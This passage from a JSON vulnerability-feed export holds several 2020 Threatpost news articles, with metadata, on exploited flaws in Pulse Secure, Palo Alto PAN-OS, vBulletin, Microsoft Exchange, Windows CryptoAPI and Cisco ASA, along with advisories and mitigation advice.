"AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-10-15T22:21:11", "description": "The Department of Homeland Security (DHS) is urging companies that use Pulse Secure VPNs to change their passwords for Active Directory accounts, after several cyberattacks targeted companies who had previously patched a related flaw in the VPN.\n\nDHS warns that the Pulse Secure VPN patches may have come too late. Government officials say before the patches were deployed, bad actors were able to compromise Active Directory accounts. So even those who have patched for the bug could still be compromised and are vulnerable to attack.\n\nAt the heart of the advisory is a known, critical Pulse Secure [arbitrary file reading flaw](<https://www.tenable.com/blog/cve-2019-11510-critical-pulse-connect-secure-vulnerability-used-in-sodinokibi-ransomware>) that opens systems to exploitation from remote, unauthenticated attackers to gain access to a victim\u2019s networks. Tracked as CVE-2019-11510, the bug was patched by Pulse Secure in April 2019, and many companies impacted by the flaw issued the fix to address the vulnerability since then.\n\nBut in many cases the damage is already done. Attackers have already exploited the flaw to snatch up victims\u2019 credentials \u2013 and now are using those credentials to move laterally through organizations, DHS\u2019 Cybersecurity and Infrastructure Security Agency (CISA) warned in the Thursday alert.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2020/04/16215737/Divycloud_225x188.jpg)](<https://register.gotowebinar.com/register/4136632530104301068?source=art>)\n\n\u201cCISA strongly urges organizations that have not yet done so to upgrade their Pulse Secure VPN to the corresponding patches for CVE-2019-11510,\u201d according to [CISA\u2019s alert](<https://www.us-cert.gov/ncas/alerts/aa20-107a>). \u201cIf\u2014after applying the detection measures in this alert\u2014organizations detect evidence of CVE-2019-11510 exploitation, CISA recommends changing passwords for all Active Directory accounts, including administrators and services accounts.\u201d\n\nThe flaw exists in Pulse Connect Secure, Pulse Secure\u2019s SSL VPN (virtual private network) platform used by various enterprises and organizations. Exploitation of the vulnerability is simple, which is why it received a 10 out of 10 CVSS ranking. Attackers can exploit the flaw to get initial access on the VPN server, where they\u2019re able to access credentials. A proof of concept (PoC) [was made public](<https://www.tenable.com/blog/cve-2019-11510-proof-of-concept-available-for-arbitrary-file-disclosure-in-pulse-connect-secure>) in August 2019. During that time, Troy Mursch with Bad Packets identified [over 14,500 Pulse Secure VPN endpoints that were vulnerable](<https://badpackets.net/over-14500-pulse-secure-vpn-endpoints-vulnerable-to-cve-2019-11510/>) to this flaw. In a more recent scan, [on Jan. 3, 2020](<https://twitter.com/bad_packets/status/1213273678525296640>), Mursch said 3,825 endpoints remain vulnerable.\n\nOne such vulnerable organization was Travelex, which took several months to patch critical vulnerabilities in its seven Pulse Secure VPN servers, according to Bad Packets. Some have speculated the [lag time in patching](<https://threatpost.com/sodinokibi-ransomware-travelex-fiasco/151600/>) these VPNs led to the eventual [massive ransomware](<https://threatpost.com/travelex-knocked-offline-malware-attack/151522/>) attack against Travelex.\n\nVarious other cybercriminals have targeted the Pulse Secure VPN flaw to compromise organizations, such as Iranian state sponsored hackers who leveraged the flaw to [conduct cyber-espionage campaigns](<https://www.clearskysec.com/fox-kitten/>) against dozens of companies in Israel.\n\nIn addition to urging organizations update credentials on accounts in Active Directory, which is the database keeps track of all organizations\u2019 user accounts and passwords, CISA has also [released a new tool](<https://github.com/cisagov/check-your-pulse>) to help network admins sniff out any indicators of compromise on their systems that are related to the flaw.\n\n\u201cCISA encourages network administrators to remain aware of the ramifications of exploitation of CVE-2019-11510 and to apply the detection measures and mitigations provided in this report to secure networks against these attacks,\u201d the advisory said.\n\n**_Worried about your cloud security in the work-from-home era? On _****_April 23 at 2 p.m. ET_****_, join DivvyCloud and Threatpost for a FREE webinar, _**[**_A Practical Guide to Securing the Cloud in the Face of Crisis_**](<https://attendee.gotowebinar.com/register/4136632530104301068?source=art>)**_. Get exclusive research insights and critical, advanced takeaways on how to avoid cloud disruption and chaos in the face of COVID-19 \u2013 and during all times of crisis. _**[**_Please register here_**](<https://attendee.gotowebinar.com/register/4136632530104301068?source=art>)_** for this sponsored webinar.**_\n\n**Share this article:**\n\n * [Hacks](<https://threatpost.com/category/hacks/>)\n * [Vulnerabilities](<https://threatpost.com/category/vulnerabilities/>)\n", "cvss3": {}, "published": "2020-04-17T20:56:34", "type": "threatpost", "title": "DHS Urges Pulse Secure VPN Users To Update Passwords", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2019-11510", "CVE-2020-24400", "CVE-2020-24407"], "modified": "2020-04-17T20:56:34", "id": "THREATPOST:7E76268AD6AABF30EEE441619FF98ABF", "href": "https://threatpost.com/dhs-urges-pulse-secure-vpn-users-to-update-passwords/154925/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-10-15T22:17:34", "description": "The U.S. Cybersecurity and Infrastructure Security Agency (CISA) is warning that foreign hackers are likely to exploit a newly disclosed, critical vulnerability in a raft of Palo Alto Networks firewalls and enterprise VPN appliances, which allows for device takeover without authentication.\n\nThe Department of Defense (DoD) arm that oversees cyberspace operations has advised all devices affected by the flaw, CVE-2020-2021, be patched immediately. The vulnerability affects devices that use Security Assertion Markup Language (SAML), according to a [tweet](<https://twitter.com/CNMF_CyberAlert/status/1277674547542659074>) by the agency.\n\n\u201cForeign APTs will likely attempt exploit soon,\u201d U.S. Cyber Command tweeted. \u201cWe appreciate @PaloAltoNtwks\u2019 proactive response to this vulnerability.\u201d\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nPalo Alto Networks on Monday [posted an advisory](<https://security.paloaltonetworks.com/CVE-2020-2021>) on the vulnerability, which affects the devices\u2019 operating systems (PAN-OS). PAN-OS 9.1 versions earlier than PAN-OS 9.1.3; PAN-OS 9.0 versions earlier than PAN-OS 9.0.9; PAN-OS 8.1 versions earlier than PAN-OS 8.1.15, and all versions of PAN-OS 8.0 (EOL). PAN-OS 7.1 is not affected.\n\nPalo Alto already has patched the issue in PAN-OS 8.1.15, PAN-OS 9.0.9, PAN-OS 9.1.3, and all later versions, which is why CISA is urging immediate update to affected devices.\n\nThe vulnerability basically allows for authentication bypass, so threat actors can access the device without having to provide any credentials. However, hackers can only exploit the flaw when SAML authentication is enabled and the \u201cValidate Identity Provider Certificate\u201d option is disabled (unchecked), according to researchers.\n\nThis combination allows for \u201can unauthenticated network-based attacker to access protected resources\u201d through an \u201cimproper verification of signatures in PAN-OS SAML authentication,\u201d according to Palo Alto\u2019s alert.\n\n\u201cThe attacker must have network access to the vulnerable server to exploit this vulnerability,\u201d researchers added.\n\nPalo Alto provided [details](<https://knowledgebase.paloaltonetworks.com/KCSArticleDetail?id=kA14u0000008UXK.>) for how users of potentially affected devices can check if their device is in the configuration that allows for exploitation of the flaw.\n\n\u201cAny unauthorized access is logged in the system logs based on the configuration; however, it can be difficult to distinguish between valid and malicious logins or sessions,\u201d researchers added in the advisory.\n\nCISA doesn\u2019t typically issue a warning on just any security flaw in vendors\u2019 enterprise products. However, the agency\u2019s cause for concern seems to be that the vulnerability has been rated the highest score on the CVSSv3 severity scale\u2014a 10 out of 10.\n\nThis rating means it is easy to exploit and doesn\u2019t require advanced technical skills. Attackers also don\u2019t need to infiltrate the device they target itself to exploit the flaw; they can do so remotely via the internet.\n\nUsers noted that they have been aware of the flaw for some time, so they also welcomed the fix from Palo Alto. \u201cThis was a great concern,\u201d [wrote](<https://twitter.com/Sihegee/status/1277677527943671809>) Twitter user [Sihegee USA / Social](<https://twitter.com/Sihegee>), who suggested that people using devices with Yhoo and AT&T email services might be particularly affected by the issue. \u201cAt least now we have a patch.\u201d\n\nWhen updating affected devices, people should ensure that the signing certificate for their SAML identity provider is configured as the \u201cIdentity Provider Certificate\u201d before upgrading, to ensure that users of the device can continue to authenticate successfully, according to Palo Alto.\n\nDetails of all actions required before and after upgrading PAN-OS are available from the company [online](<https://knowledgebase.paloaltonetworks.com/KCSArticleDetail?id=kA14u0000008UXK>).\n\n**_BEC and enterprise email fraud is surging, but DMARC can help \u2013 if it\u2019s done right. On July 15 at 2 p.m. ET, join Valimail Global Technical Director Steve Whittle and Threatpost for a [FREE webinar](<https://attendee.gotowebinar.com/register/441045308082589963?source=art>), \u201cDMARC: 7 Common Business Email Mistakes.\u201d This technical \u201cbest practices\u201d session will cover constructing, configuring, and managing email authentication protocols to ensure your organization is protected. [Click here to register](<https://attendee.gotowebinar.com/register/441045308082589963?source=art>) for this Threatpost webinar, sponsored by Valimail._**\n", "cvss3": {}, "published": "2020-06-30T13:48:47", "type": "threatpost", "title": "CISA: Nation-State Attackers Likely to Take Aim at Palo Alto Networks Bug", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-2021", "CVE-2020-24400", "CVE-2020-24407"], "modified": "2020-06-30T13:48:47", "id": "THREATPOST:14236108003AC6A3E1AB861A15ECA88F", "href": "https://threatpost.com/cisa-nation-state-attackers-palo-alto-networks-bug/157013/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-10-16T22:18:50", "description": "A security researcher has published proof-of-concept code to outsmart a patch issued last year for a zero-day vulnerability discovered in vBulletin, a popular software for building online community forums.\n\nCalling a patch for the flaw a \u201cfail\u201d and \u201cinadequate in blocking exploitation,\u201d Austin-based security researcher Amir Etemadieh published details and examples of exploit code on three developer platforms\u2013 Bash, Python and Ruby\u2013for the patch in a post published [Sunday night](<https://blog.exploitee.rs/2020/exploiting-vbulletin-a-tale-of-patch-fail/>).\n\nOn September 23, 2019, an unidentified security researcher released [exploit code](<https://threatpost.com/exploits-critical-vbulletin-rce-bug/148712/>) for a flaw that allowed for PHP remote code execution in vBulletin 5.0 through 5.4, Etemadieh wrote.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2020/08/06145744/Threatpost_CC_webinar-269x300.png)](<https://attendee.gotowebinar.com/register/3844090971254297614?source=art>)\n\nClick to register!\n\nThe zero-day, [CVE-2019-16759](<https://www.cvedetails.com/cve/CVE-2019-16759/>), is called a pre-auth RCE bug, which can allow an attacker to run malicious code and take over forums without needing to authenticate on the sites that are under attack.\n\n\u201cThis bug (CVE-2019-16759) was labeled as a \u2018bugdoor\u2019 because of its simplicity by a [popular vulnerability broker](<https://twitter.com/cbekrar/status/1176803541047861249?>) and was marked with a [CVSS 3.x score of 9.8](<https://nvd.nist.gov/vuln/detail/CVE-2019-16759>) giving it a critical rating,\u201d he said in the post.\n\nA patch was issued two days later, Sept. 25, 2019, that \u201cseemed, at the time, to fix the proof of concept exploit provided by the un-named finder,\u201d Etemadieh said.\n\nIt appears that it didn\u2019t however, as Etemadieh outlined how it can be bypassed on the three developer platforms in three separate proof-of-concepts.\n\nThe key problem with the patch issued for the zero day is related to how the vBulletin template system is structured and how it uses PHP, he wrote in the post.\n\n\u201cTemplates aren\u2019t actually written in PHP but instead are written in a language that is first processed by the template engine and then is output as a string of PHP code that is later ran through an eval() during the \u2018rendering\u2019 process,\u201d according to the post. \u201cTemplates are also not a standalone item but can be nested within other templates, in that one template can have a number of child templates embedded within.\u201d\n\nThe patch is \u201cshort-sighted\u201d because it faces problems when encountering a user-controlled child template, Etemadieh wrote. In this case, a parent template will be checked to verify that the routestring does not end with a widget_php route, Etemadieh said.\n\n[![vBullentin zero-day bug](https://media.threatpost.com/wp-content/uploads/sites/103/2020/08/11080636/vbulletin-site-300x204.png)](<https://media.threatpost.com/wp-content/uploads/sites/103/2020/08/11080636/vbulletin-site.png>)\u201cHowever we are still prevented from providing a payload within the widgetConfig value because of code within the rendering process, which cleans the widgetConfig value prior to the templates execution,\u201d he wrote in his post.\n\nEtemadieh goes on to show how another template that appears in the patch is \u201ca perfect assistant in bypassing the previous CVE-2019-16759 patch\u201d thanks to two key features: the template\u2019s ability to load a user-controlled child template, and how it loads the child template by taking a value from a separately named value and placing it into a variable named \u201cwidgetConfig.\u201d\n\n\u201cThese two characteristics of the \u2018widget_tabbedcontainer_tab_panel\u2019 template allow us to effectively bypass all filtering previously done to prevent CVE-2019-16759 from being exploited,\u201d he wrote.\n\nIt\u2019s unclear if Etemadieh informed vBulletin before posting the workarounds; however, a [report](<https://www.zdnet.com/article/security-researcher-publishes-details-and-exploit-code-for-a-vbulletin-zero-day/>) in ZDNet suggests that he did not. No matter, he did provide a quick fix for his bypass of the patch in his post, showing how to disable PHP widgets within vBulletin forums that \u201cmay break some functionality but will keep you safe from attacks until a patch is released by vBulletin,\u201d he wrote.\n\nTo apply the fix, administrators should:\n\n 1. Go to the vBulletin administrator control panel.\n 2. Click \u201cSettings\u201d in the menu on the left, then \u201cOptions\u201d in the dropdown.\n 3. Choose \u201cGeneral Settings\u201d and then click \u201cEdit Settings\u201d\n 4. Look for \u201cDisable PHP, Static HTML, and Ad Module rendering\u201d, Set to \u201cYes\u201d\n 5. Click \u201cSave\u201d\n\nOnline forums are a popular target for hackers because of they typically have a wide and diverse user base and store a large amount of personally identifiable information about those users.\n\nIndeed, hackers wasted no time in using Etemadieh\u2019s bypass to try to hack into the forum at the DEF CON security conference, according to a [post on Twitter](<https://twitter.com/thedarktangent/status/1292813958332596224>) by DEFCON and Black Hat founder [Jeff Moss](<DEF%20CON%20and%20Black%20Hat>). However, administrators quickly applied Etemadieh\u2019s advice to disable PHP to thwart the attack, he tweeted.\n\n\u201cDisable PHP rendering to protect yourself until patched!\u201d Moss advised.\n\n_**Complimentary Threatpost Webinar**__: Want to learn more about Confidential Computing and how it can supercharge your cloud security? This webinar \u201c**[Cloud Security Audit: A Confidential Computing Roundtable](<https://attendee.gotowebinar.com/register/3844090971254297614?source=art>)**\u201d brings top cloud-security experts from Microsoft and __Fortanix together to explore how **Confidential Computing** is a game changer for securing dynamic cloud data and preventing IP exposure. Join us **[Wednesday Aug. 12 at 2pm ET](<https://attendee.gotowebinar.com/register/3844090971254297614?source=art>) **for this** FREE **live webinar with Dr. David Thaler, software architect, Microsoft and Dr Richard Searle, security architect, Fortanix \u2013 both with the Confidential Computing Consortium. **[Register Now](<https://attendee.gotowebinar.com/register/3844090971254297614?source=art>)**._\n", "cvss3": {}, "published": "2020-08-11T12:09:30", "type": "threatpost", "title": "Researcher Publishes Patch Bypass for vBulletin 0-Day", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2019-16759", "CVE-2020-24400", "CVE-2020-24407"], "modified": "2020-08-11T12:09:30", "id": "THREATPOST:01643D93E5C8B6F18CEF9BF8FA7BFF89", "href": "https://threatpost.com/researcher-publishes-bypass-for-patch-for-vbulletin-0-day-flaw/158232/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-10-15T22:23:09", "description": "Multiple threat groups are actively exploiting a vulnerability in Microsoft Exchange servers, researchers warn. If left unpatched, the flaw allows authenticated attackers to execute code remotely with system privileges.\n\nThe vulnerability in question (CVE-2020-0688) exists in the control panel of Exchange, Microsoft\u2019s mail server and calendaring server, and was fixed as part of Microsoft\u2019s [February Patch Tuesday](<https://threatpost.com/microsoft-active-attacks-air-gap-99-patches/152807/>) updates. However, researchers [in a Friday advisory](<https://www.volexity.com/blog/2020/03/06/microsoft-exchange-control-panel-ecp-vulnerability-cve-2020-0688-exploited/>) said that unpatched servers are being exploited in the wild by unnamed advanced persistent threat (APT) actors.\n\n\u201cWhat we have seen thus far are multiple Chinese APT group exploiting or attempting to exploit this flaw,\u201d Steven Adair, founder and president of Volexity, told Threatpost. \u201cHowever, I think it is safe to say that this exploit is now in the hands of operators around the world and unfortunately some companies that have not patched yet or did not patch quickly enough are likely to pay the price.\u201d\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nAttacks first started late February and targeted \u201cnumerous affected organizations,\u201d researchers said. They observed attackers leverage the flaw to run system commands to conduct reconnaissance, deploy webshell backdoors and execute in-memory frameworks post-exploitation.\n\n## The Flaw\n\nAfter Microsoft patched the flaw in February researchers with the Zero Day Initiative (ZDI), which first reported the vulnerability, [published further details](<https://www.zerodayinitiative.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys>) of the flaw and how it could be exploited. And, on March 4, Rapid7 published a module that incorporated the exploit into the Metasploit penetration testing framework.\n\nThe vulnerability exists in the Exchange Control Panel (ECP), a web-based management interface for administrators, introduced in Exchange Server 2010. Specifically, instead of having cryptographic keys that are randomly generated on a per-installation basis, all installations in the configuration of ECP have the same cryptographic key values. These cryptographic keys are used to provide security for ViewState (a server-side data that ASP.NET web applications store in serialized format on the client).\n\nAccording to ZDI, an attacker could exploit a vulnerable Exchange server if it was unpatched (before Feb. 11, 2020), if the ECP interface was accessible to the attacker, and if the attacker has a working credential allowing them to access the ECP. After accessing the ECP using compromised credentials, attackers can take advantage of the fixed cryptographic keys by tricking the server into deserializing maliciously crafted ViewState data, then allowing them to take over Exchange server.\n\n\u201cWe realized the severity of this bug when we purchased it,\u201d Brian Gorenc, director of vulnerability research and head of Trend Micro\u2019s ZDI program told Threatpost via email. \u201cThat\u2019s why we worked with Microsoft to get it patched through coordinated disclosure, and it\u2019s why we provided defenders detailed information about it through our blog. We felt Exchange administrators should treat this as a Critical patch rather than Important as labelled by Microsoft. We encourage everyone to apply the patch as soon as possible to protect themselves from this vulnerability.\u201d\n\n## Brute Force\n\nResearchers said, while an attacker would need a credential to leverage the exploit, the credential does not need to be highly privileged or even have ECP access.\n\nAfter technical details of the flaw were disclosed, researchers said they observed multiple APT groups attempting to brute force credentials by leveraging Exchange Web Services (EWS), which they said was likely an effort to exploit this vulnerability.\n\n\u201cWhile brute-forcing credentials is a common occurrence, the frequency and intensity of attacks at certain organizations has increased dramatically following the vulnerability disclosure,\u201d researchers said.\n\nResearchers said they believe these efforts to be sourced from \u201cknown APT groups\u201d due to the overlap of their IP addresses from other, previous attacks. Also, in some cases, the credentials used were tied to previous breaches by the APT groups.\n\n## Going Forward\n\nIn the coming months, Adair told Threatpost he suspects there could easily be hundreds of organizations being hit with this exploit.\n\n\u201cFrom our perspective the successful attacks we have seen are just a handful of different servers and organizations,\u201d Adair said. \u201cHowever, I would expect that attackers have been access compromised credentials all around the world and are not able to make better use of them.\u201d** **\n\nResearchers encourage organizations to ensure that they\u2019re up to date on security updates from Microsoft, as well as place access control list (ACL) restrictions on the ECP virtual directory or via any web application firewall capability. Firms should also continue to expire passwords and require users to update passwords periodically, researchers said.\n\n\u201cThis vulnerability underscores such a case where an organization can be locked down, have properly deployed 2FA, and still have an incident due to outdated or weak password,\u201d said researchers.\n\n**_Interested in security for the Internet of Things and how 5G will change the threat landscape? Join our free Threatpost webinar, [\u201c5G, the Olympics and Next-Gen Security Challenges,\u201d](<https://attendee.gotowebinar.com/register/3191336203359293954?source=art>) as our panel discusses what use cases to expect in 2020 (the Olympics will be a first test), why 5G security risks are different, the role of AI in defense and how enterprises can manage their risk. [Register here](<https://attendee.gotowebinar.com/register/3191336203359293954?source=art>)._**\n\n**Share this article:**\n\n * [Hacks](<https://threatpost.com/category/hacks/>)\n", "cvss3": {}, "published": "2020-03-09T18:01:41", "type": "threatpost", "title": "Microsoft Exchange Server Flaw Exploited in APT Attacks", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-0688", "CVE-2020-24400", "CVE-2020-24407"], "modified": "2020-03-09T18:01:41", "id": "THREATPOST:F54F8338674294DE3D323ED03140CB71", "href": "https://threatpost.com/microsoft-exchange-server-flaw-exploited-in-apt-attacks/153527/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-10-16T23:22:05", "description": "Two proof-of-concept (PoC) exploits have been publicly released for the recently-patched [crypto-spoofing vulnerability](<https://threatpost.com/microsoft-patches-crypto-bug/151842/>) found by the [National Security Agency](<https://threatpost.com/podcast-nsa-reports-major-crypto-spoofing-bug-to-microsoft/151900/>) and [reported to Microsoft](<https://threatpost.com/microsoft-patches-crypto-bug/151842/>).\n\nThe vulnerability ([CVE-2020-0601](<https://nvd.nist.gov/vuln/detail/CVE-2020-0601>)) could enable an attacker to spoof a code-signing certificate (necessary for validating executable programs in Windows) in order to make it appear like an application was from a trusted source. The flaw made headlines when it was disclosed earlier this week as part of Microsoft\u2019s January Patch Tuesday security bulletin. It marked the first time the NSA had ever publicly reported a bug to Microsoft.\n\nThe two PoC exploits were published to GitHub on Thursday. Either could potentially allow an attacker to launch MitM (man-in-the-middle) attacks \u2013 allowing an adversary to spoof signatures for files and emails and fake signed-executable code inside programs that are launched inside Windows. One PoC exploit was released [by Kudelski Security](<https://github.com/kudelskisecurity/chainoffools>) and the other by a security researcher [under the alias \u201cOllypwn\u201d](<https://github.com/ollypwn/cve-2020-0601>).\n\n**[Listen to further analysis of the Microsoft crypto flaw, below, on the Threatpost Podcast] **\n\n[](<http://iframe%20style=border:%20none%20src=//html5-player.libsyn.com/embed/episode/id/12754238/height/90/theme/custom/thumbnail/yes/direction/backward/render-playlist/no/custom-color/87A93A/%20height=90%20width=100%%20scrolling=no%20%20allowfullscreen%20webkitallowfullscreen%20mozallowfullscreen%20oallowfullscreen%20msallowfullscreen/iframe>)\n\nAccording to [Microsoft\u2019s advisory](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0601>), the spoofing vulnerability exists in the way Windows CryptoAPI (Microsoft\u2019s API that enables developers to secure Windows-based applications using cryptography) validates Elliptic Curve Cryptography (ECC) certificates. Kudelski Security [in a blog post](<https://research.kudelskisecurity.com/2020/01/15/cve-2020-0601-the-chainoffools-attack-explained-with-poc>) said they launched the PoC using a \u201ccurve P384\u201d certificate, which uses ECC (specifically, the USERTrust ECC Certificate Authority). Researcher were able to craft a key used to sign the \u201ccurve P384\u201d certificate with an arbitrary domain name. This certificate would subsequently be recognized by Windows\u2019 CryptoAPI as trusted.\n\nAnother similar PoC exploit [was publicly released](<https://twitter.com/ollypwn/status/1217585156296450048>) by Denmark-based security expert \u201cOllypwn.\u201d\n\n\u201cWhen Windows checks whether the certificate is trusted, it\u2019ll see that it has been signed by our spoofed CA,\u201d said \u201cOllypwn\u201d in a [write up of his PoC exploit](<https://github.com/ollypwn/cve-2020-0601/blob/master/README.md>). \u201cIt then looks at the spoofed CA\u2019s public key to check against trusted CA\u2019s. Then it simply verifies the signature of our spoofed CA with the spoofed CA\u2019s generator \u2013 this is the issue.\u201d\n\nA third PoC exploit was developed by security expert Saleem Rashid[; who said on Twitter](<https://twitter.com/saleemrash1d/status/1217495681230954506?s=20>), Wednesday, that the PoC allowed him to fake TLS certificates and set up sites that look like legitimate ones. However, Rashid did not make his PoC exploit code public.\n\n> CVE-2020-0601 [pic.twitter.com/8tJsJqvnHj](<https://t.co/8tJsJqvnHj>)\n> \n> \u2014 Saleem Rashid (@saleemrash1d) [January 15, 2020](<https://twitter.com/saleemrash1d/status/1217495681230954506?ref_src=twsrc%5Etfw>)\n\nResearchers say that while the recently-released PoC exploits work, they show that the flaw is not easily exploitable for attackers, particularly because victims would also need to first visit a very specific website, making a targeted attack more difficult.\n\n\u201cIn the end, please keep in mind that such a vulnerability is not at risk of being exploited by script kiddies or ransomware,\u201d Kudelski Security researchers said in their analysis. \u201cWhile it is still a big problem because it could have allowed a Man-in-the-Middle attack against any website, you would need to face an adversary that owns the network on which you operate, which is possible for nation-state adversaries, but less so for a script kiddie.\u201d\n\n[Tech support site AskWoody](<https://www.askwoody.com/2020/theres-a-working-proof-of-concept-for-the-chainoffools-cve-2020-0601-crypto-api-bug-but-it-isnt-as-bad-as-you-think/>) agreed: \u201cThere\u2019s no question the code works \u2014 but it has a prerequisite. In order to get bitten by the security hole, you have to first visit a specific site. That site will load a security certificate that\u2019s instrumental in making the PoC code work. That severely limits the threat, eh?\u201d\n\nDespite the roadblocks to exploitation, security experts say that publicly-released PoC exploits can pave the way for future exploitation of CVE-2020-0601 by adversaries. Researchers urge Microsoft customers to make sure that their systems are up to date.\n\n\u201cAssume that this vulnerability has already been weaponized, probably by criminals and certainly by major governments,\u201d Bruce Schneier said in a [Wednesday analysis](<https://www.schneier.com/blog/archives/2020/01/critical_window.html>). \u201cEven assume that the NSA is using this vulnerability \u2014 why wouldn\u2019t it?\u201d\n\n**_Concerned about mobile security? _**[**Check out our free Threatpost webinar,**](<https://attendee.gotowebinar.com/register/7679724086205178371?source=art>) **_Top 8 Best Practices for Mobile App Security, on Jan. 22 at 2 p.m. ET. Poorly secured apps can lead to malware, data breaches and legal/regulatory trouble. Join our experts from Secureworks and White Ops to discuss the secrets of building a secure mobile strategy, one app at a time. _**[**_Click here to register_**](<https://attendee.gotowebinar.com/register/7679724086205178371?source=art>)**_._**\n", "cvss3": {}, "published": "2020-01-16T16:05:57", "type": "threatpost", "title": "PoC Exploits Published For Microsoft Crypto Bug", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-0601", "CVE-2020-24400", "CVE-2020-24407"], "modified": "2020-01-16T16:05:57", "id": "THREATPOST:A105AF0012294477B203EA2AFD1BCE82", "href": "https://threatpost.com/poc-exploits-published-for-microsoft-crypto-bug/151931/", "cvss": {"score": 5.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:N"}}, {"lastseen": "2020-10-15T22:16:12", "description": "Cisco is warning that a high-severity flaw in its network security software is being actively exploited \u2013 allowing remote, unauthenticated attackers to access sensitive data.\n\nPatches for the vulnerability ([CVE-2020-3452](<https://nvd.nist.gov/vuln/detail/CVE-2020-3452>)) in question, which ranks 7.5 out of 10 on the CVSS scale, were [released last Wednesday](<https://threatpost.com/network-security-cisco-flaw-leaks-sensitive-data/157691/>). However, attackers have since been targeting vulnerable versions of the software, where the patches have not yet been applied.\n\n\u201cThe Cisco Product Security Incident Response Team (PSIRT) is aware of the existence of public exploit code and active exploitation of the vulnerability that is described in this advisory,\u201d according to Cisco.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nThe flaw specifically exists in the web services interface of Firepower Threat Defense (FTD) software, which is part of Cisco\u2019s suite of network security and traffic management products; and its Adaptive Security Appliance (ASA) software, the operating system for its family of ASA corporate network security devices.\n\nThe potential threat surface is vast: [Researchers with Rapid7](<https://blog.rapid7.com/2020/07/23/cve-2020-3452-cisco-asa-firepower-read-only-path-traversal-vulnerability-what-you-need-to-know/>) recently found 85,000 internet-accessible ASA/FTD devices. Worse, 398 of those are spread across 17 percent of the Fortune 500, researchers said.\n\nThe flaw stems from a lack of proper input validation of URLs in HTTP requests processed by affected devices. Specifically, the flaw allows attackers to conduct directory traversal attacks, which is an HTTP attack enabling bad actors to access restricted directories and execute commands outside of the web server\u2019s root directory.\n\nSoon after patches were released, proof-of-concept (POC) exploit code was [released Wednesday](<https://twitter.com/aboul3la>) for the flaw by security researcher Ahmed Aboul-Ela.\n\nA potential attacker can view more sensitive files within the web services file system: The web services files may have information such as WebVPN configuration, bookmarks, web cookies, partial web content and HTTP URLs.\n\n> There\u2019s a proof of concept doing the rounds for directory path traversal (yes, it\u2019s 1998 again) in Cisco AnyConnect SSL VPN. \n> \n> It\u2019s already being mass spammed across internet. \n> \n> As far as I can see people can only read LUA source files so far, so not terribly problematic as is. <https://t.co/kSIFQdz1go>\n> \n> \u2014 Kevin Beaumont (@GossiTheDog) [July 24, 2020](<https://twitter.com/GossiTheDog/status/1286614404054880256?ref_src=twsrc%5Etfw>)\n\nCisco said the vulnerability affects products if they are running a vulnerable release of Cisco ASA Software or Cisco FTD Software, with a vulnerable AnyConnect or WebVPN configuration: \u201cThe web services file system is enabled when the affected device is configured with either WebVPN or AnyConnect features,\u201d according to its advisory. However, \u201cthis vulnerability cannot be used to obtain access to ASA or FTD system files or underlying operating system (OS) files.\u201d\n\n[![cisco vulnerability patch](https://media.threatpost.com/wp-content/uploads/sites/103/2020/07/27115136/cisco-vulnerability-patch-300x148.png)](<https://media.threatpost.com/wp-content/uploads/sites/103/2020/07/27115136/cisco-vulnerability-patch.png>)\n\nCredit: Rapid7\n\nResearchers with Rapid7 say that since the patch was issued, only about 10 percent of Cisco ASA/FTD devices detected as internet-facing have been rebooted \u2013 which is a \u201clikely indicator they\u2019ve been patched.\u201d Only 27 of the 398 detected in Fortune 500 companies appear to have been rebooted.\n\nResearchers encourage immediate patching of vulnerable ASA/FTD installations \u201cto prevent attackers from obtaining sensitive information from these devices which may be used in targeted attacks.\u201d\n\n\u201cCisco has provided fixes for all supported versions of ASA and FTD components,\u201d said researchers. \u201cCisco ASA Software releases 9.5 and earlier, as well as Release 9.7, along with Cisco FTD Release 6.2.2 have reached the end of software maintenance and organizations will have to upgrade to a later, supported version to fix this vulnerability.\u201d\n\n_**Complimentary Threatpost Webinar**: Want to learn more about Confidential Computing and how it can supercharge your cloud security? This webinar \u201c**[Cloud Security Audit: A Confidential Computing Roundtable](<https://attendee.gotowebinar.com/register/3844090971254297614?source=art>)**\u201d brings top cloud-security experts together to explore how **Confidential**** Computing** is a game changer for securing dynamic cloud data and preventing IP exposure. Join us **[Wednesday Aug. 12 at 2pm ET](<https://attendee.gotowebinar.com/register/3844090971254297614?source=art>) **for this** FREE **live webinar._\n", "cvss3": {}, "published": "2020-07-27T16:23:16", "type": "threatpost", "title": "Attackers Exploiting High-Severity Network Security Flaw, Cisco Warns", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-24400", "CVE-2020-24407", "CVE-2020-3452"], "modified": "2020-07-27T16:23:16", "id": "THREATPOST:FB3A73274A678D5DA8D5263B9E1A1DA1", "href": "https://threatpost.com/attackers-exploiting-high-severity-network-security-flaw-cisco-warns/157756/", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}}, {"lastseen": "2020-10-15T22:29:26", "description": 